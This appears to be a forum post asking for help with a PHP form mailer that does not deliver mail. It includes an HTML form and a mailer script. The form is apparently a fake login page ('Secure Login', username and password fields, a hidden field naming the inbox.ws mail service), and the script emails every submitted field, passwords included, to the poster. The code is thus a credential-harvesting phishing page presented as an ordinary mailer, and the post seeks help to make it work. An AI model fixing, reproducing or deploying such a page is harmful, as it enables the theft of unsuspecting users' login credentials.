PHP Form Mailer Problem

Hello.I have a problem.My PHP Form Mailer dont send any messages to me.My hoster is freehostia, and i tried to do it on hyperphp.com but in the host isnt the problem.I will give my code, and if anyone know what do , thanks.

PHP Mailer dont send an1 messages to me.Can anyone help? Here is the form and the mailer.

Form

<form action=“mailer.php” method=“post”>

<table style=“opacity: 1;”>
<tbody><tr>
<td>Username:</td>
<td><input size=“20” name=“username” maxlength=“12” type=“text”></td>
</tr>
<tr>
<td>Password:</td>
<td><input size=“20” name=“password” maxlength=“20” type=“password”></td>
</tr>
<tr>
<td></td>
<td align=“center”><input value=“Secure Login” name=“submit” type=“submit”></td>
</tr>
</tbody></table>
<input name=“dest” value=“inbox.ws” type=“hidden”>

</form>

Mailer

<?PHP

$to = “Mymail@domain.com”;
$subject = “Results from your Request Info form”;
$headers = “From: My Site”;
$forward = 0;
$location = “”;

$date = date (“l, F jS, Y”);
$time = date (“h:i A”);

$msg = "Below is the result of your feedback form. It was submitted on $date at $time.

";

if ($_SERVER[‘REQUEST_METHOD’] == “POST”) {
foreach ($_POST as $key => $value) {
$msg .= ucfirst ($key) ." : ". $value . "
“;
}
}
else {
foreach ($_GET as $key => $value) {
$msg .= ucfirst ($key) .” : ". $value . "
";
}
}

mail ($to, $subject, $msg, $headers);
if ($forward == 1) {
header (“Location:$location”);
}
else {
echo “Thanks…”;
}

?>